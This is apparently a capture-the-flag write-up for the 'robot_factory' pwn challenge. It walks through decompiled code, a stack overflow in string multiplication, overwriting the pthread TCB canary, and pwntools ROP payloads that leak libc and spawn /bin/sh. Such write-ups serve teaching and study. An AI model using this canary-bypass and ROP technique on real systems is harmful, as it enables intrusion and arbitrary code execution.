


```
pthread_t thread
pthread_create(&thread, attr: nullptr, start_routine:
self_destruct_protocol, arg: nullptr)
while (true) {
    create_robot()
}
```

We begin by creating a thread running `self_destruct_protocol`:

```
void* self_destruct_protocol() __noreturn

while (true) {
    for (int32_t i = 0; i <= 7; i = i + 1) {
        if (*(sx.q(i) << 3) + 0x4040c0) != 0 && (*(sx.q(i) << 3) + 0x4040c0) +
0x38) != 0) {
            int32_t result = (*(sx.q(i) << 3) + 0x4040c0) + 8)
            if (result == 0) {
                printf(format: "Result: %ld", (*(sx.q(i) << 3) + 0x4040c0) +
0x20))
            } else if (result == 1) {
                printf(format: "Result: %s", (*(sx.q(i) << 3) + 0x4040c0) +
0x20))
            }
            write(fd: 1, buf: "\n", nbytes: 2)
            free(mem: (*(sx.q(i) << 3) + 0x4040c0))
            *(sx.q(i) << 3) + 0x4040c0 = 0
        }
    }
    sleep(seconds: 1)
}
```

This loops forever, reading values from an array of pointers at `0x4040c0` and printing the results, before freeing and nulling the pointers.

`main` then also starts an infinite loop of `create_robot`. The code for this appears complex, but essentially allows creating either 'number' robots or 'string' robots. It then allows the robots to perform an 'add', 'subtract' and 'multiply' operation:

```
> ./pwn_robot_factory/robot_factory
=====
|                                     |
|  WELCOME TO THE ROBOT FACTORY!  |
|   DAYS WITHOUT AN ACCIDENT:   |
|                               |
|                               |
=====
What kind of robot would you like? (n/s) > s
What kind of operation do you want? (a/s/m) > a
Enter string 1: abc
Enter string 2: def
What kind of robot would you like? (n/s) > Result: abc def
s
What kind of operation do you want? (a/s/m) > m
Enter string 1: Hello!
Enter size: 5
```

```
What kind of robot would you like? (n/s) > Result:
Hello!Hello!Hello!Hello!Hello!Hello!
```

(Note: Subtract does not work for strings).

It then starts up a new thread, passing the address of our heap-allocated 'robot' and calls

`do_robot`:

```
void do_robot(struct robot* arg1)

uint64_t robot_kind = zx.q(arg1->robot_kind)
if (robot_kind.d == 0) {
    do_num(arg1)
} else if (robot_kind.d == 1) {
    do_string(arg1)
}
```

Looking into `do_string`:

```
int64_t do_string(struct robot* arg1)

void* fsbase
int64_t rax = *(fsbase + 0x28)
char buf[0x100]
arg1->stack_buffer = &buf
int32_t op_kind = arg1->opkind
if (op_kind == 0) {
    add_func(arg1)
} else if (op_kind == 2) {
    multiply_func(arg1)
}
arg1->done = 1
```

It places the address of an 0x100 sized stack buffer into the struct.

```
uint64_t multiply_func(struct robot* arg1)

int64_t var_18 = 0
int64_t var_10 = 0
uint64_t rax_1 = zx.q(arg1->robot_kind)
if (rax_1.d == 0) { // number
    rax_1 = arg1->stack_buffer
    *rax_1 = arg1->arg1 * arg1->arg2
} else if (rax_1.d == 1) {
    memcpy(arg1->stack_buffer, arg1->arg2, arg1->sz)
    uint64_t off = arg1->sz
    int64_t i = 0
    while (true) {
        rax_1 = arg1->arg1
        if (i >= rax_1) {
            break
        }
        memcpy(arg1->stack_buffer + off, arg1->arg2, arg1->sz)
        off = off + arg1->sz
    }
}
```

```
        i = i + 1
    }
}
return rax_1
```

This repeats our first argument up to 'n' times (n being the second argument as a number).

Immediately, there's an obvious bug. 256 bytes is reserved for the 'result' in string mode, but we can 'multiply' our (max) 256 byte input string as much as we want.

Exploitation

However, stack canary protection is in effect, so a regular buffer overflow isn't possible.

The canary value is stored in the TCB struct by LIBC, which is normally near libc and cannot be overwritten. However, this challenge uses pthreads (POSIX threads) - in a pthread, the TCB is copied to a location on the stack, in a location which can be overflowed.

If a player is to smash their way up the stack and overwrite tcb->stack_guard, they can overwrite the canary and provide arbitrary values. However, there are a number of complications.

- We must ROP twice - once to leak a libc address, and again to pop a shell
- Clobbering the TCB results in breakage across many high-level glibc functions which make use of thread synchronization
- The main (and future spawned) threads are unaffected, but if our exploited thread crashes it will bring down the whole program
- The precise nature of the 'repeating' overflow means that values must be very carefully laid out in order to ROP correctly

Please note that the precise offsets may differ between systems, this writeup focuses only on the setup used in the challenge instance.

Layout

The size of the memory we are clobbering is 2952 in order to reach the canary. Factorising this, (**23 * 32 * 41**), I decided that the best payload size would be 72 bytes, repeated 41 times.

We can initially use a standard buffer overflow pattern to detect offsets - simply create a pattern of size 72, and send it repeated appropriately.

The important locations are:

Name	Location	Offset
TCB Stack Guard	<code>\$fs_base+0x28</code>	32
Stack Guard	<code>\$rbp-0x8</code>	48
Return address	<code>*\$rsp</code>	64

Constraints

Our first payload will aim to call `write(2, puts@got, xxx)`. To prevent the thread crashing, we will then return to sleep, with a large value to give the rest of our exploit time.

```
rdi = 2
rsi = puts@got
write()
sleep()
```

We must also ensure that the QWORD at offset 32 equals the QWORD at offset 48, as these will be placed in the TCB and on-stack guard respectively.

We are constrained to a total of 72 bytes of ROP, beginning our chain at 64 (but remembering that our chain 'wraps around' due to repetition).

This may take some trial-and-error to perfect, but below is a working payload:

```
payload += flat({
    32: [exe.plt['write']],
    40: [poprdi, exe.plt['write']],
    56: [exe.plt['sleep']],
    64: [poprsi_r15],
    0: [exe.got['puts'], 0],
    16: [poprdi],
    24: [2]
}, length=72)
```

Unfortunately, the only `pop rsi` gadget was in the CSU section, and was followed by a `pop r15`, forcing me to add junk to be popped into r15.

1. Pop the `puts@got` address into rsi
2. Pop '2' (`stderr`) into rdi
3. Call `write`, writing out the address of `puts@libc` (as well as more, depending on the number currently in `rdx`)
4. pop `write@plt` into RDI, which also functions as our canary
5. Call `sleep` with `write@plt` in RDI, resulting in a *very* long sleep

With this, we receive our `puts@libc` leak, which we can easily turn into the libc base.

```
leak = u64(r.recvuntil(b"\x00\x00")[-8:])
log.success(f"puts@libc: {hex(leak)}")
l.address = leak - l.sym['puts']
log.success(f"libc: {hex(l.address)}")
```

Popping shell

Getting the shell is slightly simpler, as we don't need to worry about sleeping afterwards. With RDI and RSI control, we can call `execv()`, which takes a `path` and `argv` argument, of which `argv` can be null.

```
binsh = next(l.search(b"/bin/sh"))
payload += flat({
    32: [l.sym['execv']],
    48: [l.sym['execv']],
    # Null out RSI
    64: [poprsi_r15],
    0: [0, 0],
    16: [poprdi],
    24: [binsh]
}, length=72)
```

Once again, we ensure that offsets 32 and 48 match. We then null out RSI, pop the address of `"/bin/sh\x00"` into RDI, and return to `execv`, which pops an interactive shell, solving the challenge.